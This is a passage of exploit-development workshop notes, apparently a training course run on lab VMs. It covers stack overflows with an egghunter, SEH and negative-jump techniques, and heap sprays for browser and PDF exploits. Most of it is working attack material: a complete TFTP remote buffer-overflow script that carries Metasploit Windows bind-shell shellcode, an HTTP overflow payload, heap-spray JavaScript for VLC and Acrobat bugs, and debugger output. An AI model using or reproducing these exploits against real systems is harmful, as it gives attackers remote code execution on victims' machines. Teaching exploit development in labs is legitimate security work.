  1850. - dialog box shows starting params - port 82
  1851.  
  1852. WinDBG
  1853. - attach to "server.exe"
  1854.  
  1855.  
  1856. python sws1.py | nc XPSP3-ED-Target-IP 82
  1857.  
  1858.  
  1859.  
  1860. python sws2.py | nc XPSP3-ED-Target-IP 82
  1861.  
  1862.  
  1863. SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
  1864. cd /home/strategicsec/toolz/metasploit/tools
  1865. ruby pattern_offset.rb 41356841 <------- You should see that EIP is at 225
  1866. ruby pattern_offset.rb 68413668 <------- You should see that ESP is at 229
  1867.  
  1868.  
  1869.  
  1870.  
  1871.  
  1872.  
  1873.  
  1874.  
  1875. EGGHUNTER:
  1876. ----------
  1877.  
  1878. "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
  1879. "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
  1880. ^^^^^^^^^^^^^^^^
  1881. ABBA
  1882. JMP ESP
  1883. /
  1884. /
  1885. GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
  1886. User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
  1887.  
  1888.  
  1889.  
  1890.  
  1891. -----sws3.py-----
  1892. #!/usr/bin/python2
  1893.  
  1894. import os # for output setting
  1895. import sys
  1896. import struct # for pack function
  1897.  
  1898. # turn off output buffer and set binary mode
  1899. sys.stdout = os.fdopen(sys.stdout.fileno(), 'wb', 0)
  1900.  
  1901.  
  1902. pad = "A" * 225 # distance to EIP
  1903. eip = 0x7e429353 # replace EIP to point to "jmp esp" from user32.dll
  1904.  
  1905. egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
  1906. egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
  1907.  
  1908. shellcode = "\xCC" * 700
  1909.  
  1910. buf = "GET /"
  1911. buf += pad + struct.pack('<I', eip) + egghunter
  1912. buf += " HTTP/1.0\r\n"
  1913. buf += "User-Agent: ABBAABBA"
  1914. buf += shellcode
  1915. buf += " HTTP/1.0\r\n"
  1916.  
  1917. sys.stdout.write(buf)
  1918. -----
  1919.  
  1920. ############################################
  1921. # Lab 2b: Not Enough Space (Negative Jump) #
  1922. ############################################
  1923.  
  1924. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\modjk_skeleton
  1925.  
  1926.  
  1927. [pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
  1928.  
  1929. ^
  1930. 1 ----------------------1 overflow the buffer---------------------------|
  1931.  
  1932. ^ ^
  1933. |
  1934. 2 ----jump over seh record---|
  1935.  
  1936. ^ ^
  1937. |
  1938. 3--POP 2 words off stack---|
  1939.  
  1940. ^
  1941. 4 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
  1942.  
  1943.  
  1944. #################################
  1945. # Not Enough Space (Trampoline) #
  1946. #################################
  1947.  
  1948. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
  1949. On the Strategicsec-XP-ED-Target-VM VM
  1950.  
  1951. - open a command prompt
  1952. - c:\software\tftpd32
  1953. - run tftpd32.exe
  1954. - UDP port 69
  1955. (socket code is already in the scripts)
  1956.  
  1957.  
  1958.  
  1959.  
  1960. On your attack host please install:
  1961.  
  1962.  
  1963. NASM - Netwide Assembler
  1964.  
  1965.  
  1966.  
  1967.  
  1968.  
  1969. -----------------------------------------------------------------------------------------------------------------
  1970.  
  1971.  
  1972. We want to generate the shellcode (BIND SHELL on Port 4444)
  1973. - No restricted characters
  1974. - Encoder: NONE
  1975.  
  1976. Create a Python file called dumpshellcode.py
  1977.  
  1978. ---
  1979. #!/usr/bin/python2
  1980.  
  1981. import os
  1982. import sys
  1983. import struct
  1984.  
  1985.  
  1986. # win32_bind - EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
  1987. shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
  1988. shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
  1989. shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
  1990. shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
  1991. shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
  1992. shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
  1993. shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
  1994. shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
  1995. shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
  1996. shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
  1997. shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
  1998. shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
  1999. shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
  2000. shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
  2001. shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  2002. shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
  2003. shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
  2004. shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
  2005. shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
  2006. shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
  2007.  
  2008. sys.stdout.write(shellcode)
  2009. ---
  2010.  
  2011.  
  2012.  
  2013. python dumpshell.py > bindshell.bin
  2014.  
  2015. copy bindshellcode.bin into the "c:\Program Files\nasm" directory
  2016.  
  2017.  
  2018.  
  2019. Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
  2020. 317 bindshell.bin
  2021.  
  2022. C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
  2023. 00000000 FC cld
  2024. 00000001 6AEB push byte -0x15
  2025. 00000003 4D dec ebp
  2026. 00000004 E8F9FFFFFF call dword 0x2
  2027. 00000009 60 pushad
  2028. 0000000A 8B6C2424 mov ebp,[esp+0x24]
  2029. 0000000E 8B453C mov eax,[ebp+0x3c]
  2030. 00000011 8B7C0578 mov edi,[ebp+eax+0x78]
  2031. 00000015 01EF add edi,ebp
  2032. 00000017 8B4F18 mov ecx,[edi+0x18]
  2033. 0000001A 8B5F20 mov ebx,[edi+0x20]
  2034. 0000001D 01EB add ebx,ebp
  2035. 0000001F 49 dec ecx
  2036. 00000020 8B348B mov esi,[ebx+ecx*4]
  2037. 00000023 01EE add esi,ebp
  2038. 00000025 31C0 xor eax,eax
  2039. 00000027 99 cdq
  2040. 00000028 AC lodsb
  2041. 00000029 84C0 test al,al
  2042. 0000002B 7407 jz 0x34
  2043. 0000002D C1CA0D ror edx,0xd
  2044. 00000030 01C2 add edx,eax
  2045. 00000032 EBF4 jmp short 0x28
  2046. 00000034 3B542428 cmp edx,[esp+0x28]
  2047. 00000038 75E5 jnz 0x1f
  2048. 0000003A 8B5F24 mov ebx,[edi+0x24]
  2049. 0000003D 01EB add ebx,ebp
  2050. 0000003F 668B0C4B mov cx,[ebx+ecx*2]
  2051. 00000043 8B5F1C mov ebx,[edi+0x1c]
  2052. 00000046 01EB add ebx,ebp
  2053. 00000048 032C8B add ebp,[ebx+ecx*4]
  2054. 0000004B 896C241C mov [esp+0x1c],ebp
  2055. 0000004F 61 popad
  2056. 00000050 C3 ret
  2057. 00000051 31DB xor ebx,ebx
  2058. 00000053 648B4330 mov eax,[fs:ebx+0x30]
  2059. 00000057 8B400C mov eax,[eax+0xc]
  2060. 0000005A 8B701C mov esi,[eax+0x1c]
  2061. 0000005D AD lodsd
  2062. 0000005E 8B4008 mov eax,[eax+0x8]
  2063. 00000061 5E pop esi
  2064. 00000062 688E4E0EEC push dword 0xec0e4e8e
  2065. 00000067 50 push eax
  2066. 00000068 FFD6 call esi
  2067. 0000006A 6653 push bx
  2068. 0000006C 66683332 push word 0x3233
  2069. 00000070 687773325F push dword 0x5f327377
  2070. 00000075 54 push esp
  2071. 00000076 FFD0 call eax
  2072. 00000078 68CBEDFC3B push dword 0x3bfcedcb
  2073. 0000007D 50 push eax
  2074. 0000007E FFD6 call esi PART 1
  2075. 00000080 5F pop edi
  2076. 00000081 89E5 mov ebp,esp
  2077. 00000083 6681ED0802 sub bp,0x208
  2078. 00000088 55 push ebp
  2079. 00000089 6A02 push byte +0x2
  2080. 0000008B FFD0 call eax
  2081. 0000008D 68D909F5AD push dword 0xadf509d9
  2082. 00000092 57 push edi
  2083. 00000093 FFD6 call esi
  2084. 00000095 53 push ebx
  2085. 00000096 53 push ebx
  2086. --------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
  2087. 00000097 53 push ebx
  2088. 00000098 53 push ebx
  2089. 00000099 53 push ebx
  2090. 0000009A 43 inc ebx
  2091. 0000009B 53 push ebx
  2092. 0000009C 43 inc ebx
  2093. 0000009D 53 push ebx PART 2
  2094. 0000009E FFD0 call eax
  2095. 000000A0 6668115C push word 0x5c11
  2096. 000000A4 6653 push bx
  2097. 000000A6 89E1 mov ecx,esp
  2098. 000000A8 95 xchg eax,ebp
  2099. 000000A9 68A41A70C7 push dword 0xc7701aa4
  2100. 000000AE 57 push edi
  2101. 000000AF FFD6 call esi
  2102. 000000B1 6A10 push byte +0x10
  2103. 000000B3 51 push ecx
  2104. 000000B4 55 push ebp
  2105. 000000B5 FFD0 call eax
  2106. 000000B7 68A4AD2EE9 push dword 0xe92eada4
  2107. 000000BC 57 push edi
  2108. 000000BD FFD6 call esi
  2109. 000000BF 53 push ebx
  2110. 000000C0 55 push ebp
  2111. 000000C1 FFD0 call eax
  2112. 000000C3 68E5498649 push dword 0x498649e5
  2113. 000000C8 57 push edi
  2114. 000000C9 FFD6 call esi
  2115. 000000CB 50 push eax
  2116. 000000CC 54 push esp
  2117. 000000CD 54 push esp
  2118. 000000CE 55 push ebp
  2119. 000000CF FFD0 call eax
  2120. 000000D1 93 xchg eax,ebx
  2121. 000000D2 68E779C679 push dword 0x79c679e7
  2122. 000000D7 57 push edi
  2123. 000000D8 FFD6 call esi
  2124. 000000DA 55 push ebp
  2125. 000000DB FFD0 call eax
  2126. 000000DD 666A64 push word 0x64
  2127. 000000E0 6668636D push word 0x6d63
  2128. 000000E4 89E5 mov ebp,esp
  2129. 000000E6 6A50 push byte +0x50
  2130. 000000E8 59 pop ecx
  2131. 000000E9 29CC sub esp,ecx
  2132. 000000EB 89E7 mov edi,esp
  2133. 000000ED 6A44 push byte +0x44
  2134. 000000EF 89E2 mov edx,esp
  2135. 000000F1 31C0 xor eax,eax
  2136. 000000F3 F3AA rep stosb
  2137. 000000F5 FE422D inc byte [edx+0x2d]
  2138. 000000F8 FE422C inc byte [edx+0x2c]
  2139. 000000FB 93 xchg eax,ebx
  2140. 000000FC 8D7A38 lea edi,[edx+0x38]
  2141. 000000FF AB stosd
  2142. 00000100 AB stosd
  2143. 00000101 AB stosd
  2144. 00000102 6872FEB316 push dword 0x16b3fe72
  2145. 00000107 FF7544 push dword [ebp+0x44]
  2146. 0000010A FFD6 call esi
  2147. 0000010C 5B pop ebx
  2148. 0000010D 57 push edi
  2149. 0000010E 52 push edx
  2150. 0000010F 51 push ecx
  2151. 00000110 51 push ecx
  2152. 00000111 51 push ecx
  2153. 00000112 6A01 push byte +0x1
  2154. 00000114 51 push ecx
  2155. 00000115 51 push ecx
  2156. 00000116 55 push ebp
  2157. 00000117 51 push ecx
  2158. 00000118 FFD0 call eax
  2159. 0000011A 68ADD905CE push dword 0xce05d9ad
  2160. 0000011F 53 push ebx
  2161. 00000120 FFD6 call esi
  2162. 00000122 6AFF push byte -0x1
  2163. 00000124 FF37 push dword [edi]
  2164. 00000126 FFD0 call eax
  2165. 00000128 8B57FC mov edx,[edi-0x4]
  2166. 0000012B 83C464 add esp,byte +0x64
  2167. 0000012E FFD6 call esi
  2168. 00000130 52 push edx
  2169. 00000131 FFD0 call eax
  2170. 00000133 68F08A045F push dword 0x5f048af0
  2171. 00000138 53 push ebx
  2172. 00000139 FFD6 call esi
  2173. 0000013B FFD0 call eax
  2174.  
  2175.  
  2176.  
  2177.  
  2178. part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
  2179. part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
  2180. part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
  2181. part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
  2182. part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
  2183. part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
  2184. part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
  2185. part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
  2186. part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
  2187. part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
  2188.  
  2189.  
  2190. part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
  2191. part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
  2192. part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
  2193. part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
  2194. part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
  2195. part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  2196. part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
  2197. part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
  2198. part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
  2199. part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
  2200. part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
  2201.  
  2202.  
  2203. STACK SHIFTER:
  2204. prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
  2205. prepend += "\x44" # inc esp
  2206.  
  2207.  
  2208.  
  2209.  
  2210.  
  2211.  
  2212.  
  2213.  
  2214.  
  2215.  
  2216.  
  2217.  
  2218.  
  2219.  
  2220. ---- final script ----
  2221.  
  2222. #!/usr/bin/python2
  2223. #TFTP Server remote Buffer Overflow
  2224.  
  2225. import sys
  2226. import socket
  2227. import struct
  2228.  
  2229. if len(sys.argv) < 2:
  2230. sys.stderr.write("Usage: tftpd.py <host>\n")
  2231. sys.exit(1)
  2232.  
  2233. target = sys.argv[1]
  2234. port = 69
  2235.  
  2236. eip = 0x7e429353 # jmp esp in USER32.DLL
  2237.  
  2238. part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
  2239. part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
  2240. part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
  2241. part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
  2242. part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
  2243. part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
  2244. part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
  2245. part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
  2246. part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
  2247. part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
  2248.  
  2249. part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
  2250. part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
  2251. part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
  2252. part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
  2253. part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
  2254. part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  2255. part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
  2256. part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
  2257. part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
  2258. part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
  2259. part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
  2260.  
  2261. prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
  2262. prepend += "\x44" # inc esp
  2263.  
  2264. buf = "\x00\x01" # receive command
  2265.  
  2266. buf += "\x90" * (256 - len(part2)) # NOPs
  2267. buf += part2 # shellcode part 2
  2268. buf += struct.pack('<I', eip) # EIP (JMP ESP)
  2269. buf += prepend # stack shifter
  2270. buf += part1 # shellcode part 1
  2271. buf += "\xE9" + struct.pack('<i', -380) # JMP -380
  2272. buf += "\x00" # END
  2273.  
  2274. # print buf
  2275.  
  2276. # buf = "\x00\x01" # receive command
  2277.  
  2278. # buf += "A" * 300 + "\x00"
  2279.  
  2280. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  2281.  
  2282. try:
  2283. sock.connect((target, port))
  2284. sock.sendall(buf)
  2285. except Exception as e:
  2286. sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
  2287. finally:
  2288. sock.close()
  2289. sys.stderr.write("Sent.\n")
  2290.  
  2291.  
  2292.  
  2293. -----------------------------------------------------------------------------------------------------------------
  2294.  
  2295.  
  2296.  
  2297.  
  2298. How does all of this actually work
  2299.  
  2300.  
  2301.  
  2302.  
  2303. Total shellcode length: 315
  2304.  
  2305. Part1: 150
  2306. Part2: 165
  2307.  
  2308.  
  2309. NOPS * (256 - 165)
  2310.  
  2311. 91 NOPS + (165 bytes shellcode p2) + JMP ESP (4 bytes) + Stack Shift (-1000) + (150 bytes shellcode p1) + (neg jmp -380)
  2312. | | |
  2313. 256 260 150 (410) |
  2314. |<------------------------------------------------------------------------------------------------------------|
  2315. Jump to the
  2316. 30 byte mark
  2317.  
  2318.  
  2319.  
  2320. #####################
  2321. # Browsers Exploits #
  2322. #####################
  2323.  
  2324. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab3\ffvlc_skeleton
  2325. Quicktime - overflow, if we send a very long rtsp:// URL, Quicktime crashes
  2326. rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......50000
  2327.  
  2328. <object id=quicktime clsid="999-999999-99-99999">
  2329. <param name="URL" value="rtsp://AAAAAAAAAAAAAAAAAAAAAAAAA....">
  2330. </object>
  2331.  
  2332. var buf = "";
  2333. for(i = 0; i < 50000; i++)
  2334. buf += "A";
  2335. var myobject = document.getElementById("quicktime");
  2336. myobject.url = buf;
  2337.  
  2338. YOU CAN PRE-LOAD THE PROCESS MEMORY MORE OR LESS IN A WAY YOU LIKE BEFORE TRIGGERING THE EXPLOIT!!!!
  2339.  
  2340. - Browsers (Flash)
  2341. - PDF
  2342. - MS Office / OOo
  2343.  
  2344. VLC smb:// exploit
  2345. ------------------
  2346.  
  2347. EXPLOIT VECTOR
  2348.  
  2349. smb://[email protected]/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
  2350.  
  2351. Exploit Scripts
  2352. - ffvlc
  2353.  
  2354. ON YOUR HOST, RUN THE WEBSERVER ON PORT 8080
  2355.  
  2356. perl daemon.pl vlc0.html
  2357.  
  2358. ON YOUR Strategicsec-XP-ED-Target-VM VM, START FIREFOX
  2359. Browse to http://your_host_ip_address:8080/
  2360.  
  2361. vlc0.html
  2362. ---------
  2363. <script>
  2364. var buf = "";
  2365. for(i = 0; i < 1250; i++)
  2366. buf += unescape("%41%41%41%41");
  2367. var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
  2368. document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
  2369. </script>
  2370.  
  2371. vlc1.html
  2372. ---------
  2373. <script>
  2374.  
  2375. // shellcode created in heap memory
  2376. var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
  2377.  
  2378. // 800K block of NOPS
  2379. var nop = unescape("%u9090%u09090"); // 4 NOPS
  2380. while(nop.length < 0xc0000) {
  2381. nop += nop;
  2382. }
  2383.  
  2384. // spray the heap with NOP+shellcode
  2385. var memory = new Array();
  2386. for(i = 0; i < 50; i++) {
  2387. memory[i] = nop + shellcode;
  2388. }
  2389.  
  2390. // build the exploit payload
  2391. var buf = "";
  2392. for(i = 0; i < 1250; i++)
  2393. buf += unescape("%41%41%41%41");
  2394. var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
  2395.  
  2396. // trigger the exploit
  2397. document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
  2398. </script>
  2399.  
  2400. perl daemon.pl vlc1.html
  2401.  
  2402. Search for where our NOPS+shellcode lies in the heap
  2403.  
  2404. s 0 l fffffff 90 90 90 90 cc cc cc cc
  2405.  
  2406. 0:019> s 0 l fffffff 90 90 90 90 cc cc cc cc
  2407. 03dffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2408. 040ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2409. 043ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2410. 046ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2411. 049ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2412. 04cffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2413. 04fffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2414. 052ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2415. 055ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2416. 058ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2417. 05bffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2418. 05effffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2419. 061ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2420. 064ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2421. 067ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2422. 06affffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  2423.  
  2424. Edit vlc2.html
  2425. replace %41%41%41%41 with %07%07%07%07
  2426.  
  2427. (928.fd0): Break instruction exception - code 80000003 (first chance)
  2428. eax=fffffd66 ebx=07070707 ecx=77c2c2e3 edx=00340000 esi=07070707 edi=07070707
  2429. eip=07100000 esp=0e7afc58 ebp=07070707 iopl=0 nv up ei pl nz ac pe nc
  2430. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
  2431. 07100000 cc int 3
  2432. 0:019> u
  2433. 07100000 cc int 3
  2434. 07100001 cc int 3
  2435. 07100002 cc int 3
  2436. 07100003 cc int 3
  2437. 07100004 cc int 3
  2438. 07100005 cc int 3
  2439. 07100006 cc int 3
  2440. 07100007 cc int 3
  2441.  
  2442. Create vlc3.html (Copy vlc2.html to vlc3.html)
  2443. ----------------------------------------------
  2444. Win32 Reverse Shell
  2445. - no restricted characters
  2446. - Encoder NONE
  2447. - use the Javascript encoded payload generated by msfweb
  2448.  
  2449.  
  2450.  
  2451.  
  2452. ################
  2453. # PDF EXPLOITS #
  2454. ################
  2455.  
  2456.  
  2457.  
  2458. \Lab4\adobe_mnp_skeleton
  2459.  
  2460. Acrobat Media newPlayer exploit
  2461. -------------------------------
  2462.  
  2463. Use-after-free bug
  2464.  
  2465. Exploit scripts are online at 172.16.0.100
  2466. - adobe_mnp
  2467.  
  2468. Download these scripts on your Strategicsec-XP-ED-Target-VM VM itself.
  2469.  
  2470.  
  2471. mnp0.pdf
  2472.  
  2473. - Open up acrobat reader
  2474. - WinDBG
  2475. - F6 attach to AcroRd32.exe
  2476. - g to Go
  2477.  
  2478. EIP = 41414141
  2479.  
  2480. Next step is to spray the heap with NOPS+shellcode, and then land EIP in the heap.
  2481.  
  2482. mnp1.pdf
  2483.  
  2484. All we are doing is changing EIP to 0c0c0c0c.
  2485. There is no heap spray in this one.
  2486.  
  2487. This exception may be expected and handled.
  2488. eax=02e2d638 ebx=23826917 ecx=02e2d638 edx=02e2f868 esi=02c07674 edi=02c07674
  2489. eip=0c0c0c0c esp=0013fb38 ebp=0013fbb8 iopl=0 nv up ei pl nz na po nc
  2490. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
  2491. 0c0c0c0c ?? ???
  2492.  
  2493. We know we get EIP control
  2494.  
  2495. mnp2.pdf
  2496.  
  2497. Put in the heap spray.
  2498.  
  2499. var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
  2500.  
  2501. var nops = unescape("%u9090%u9090");
  2502.  
  2503. while(nops.length <= 32768)
  2504. nops += nops;
  2505. nops = nops.substring(0,32768 - shellcode.length);
  2506.  
  2507. memory = new Array();
  2508.  
  2509. for(i = 0; i < 1500; i++) {
  2510. memory[i] = nops + shellcode;
  2511. }
  2512.  
  2513. 1500 NOP+shellcode blocks of 32K NOPs each
  2514.  
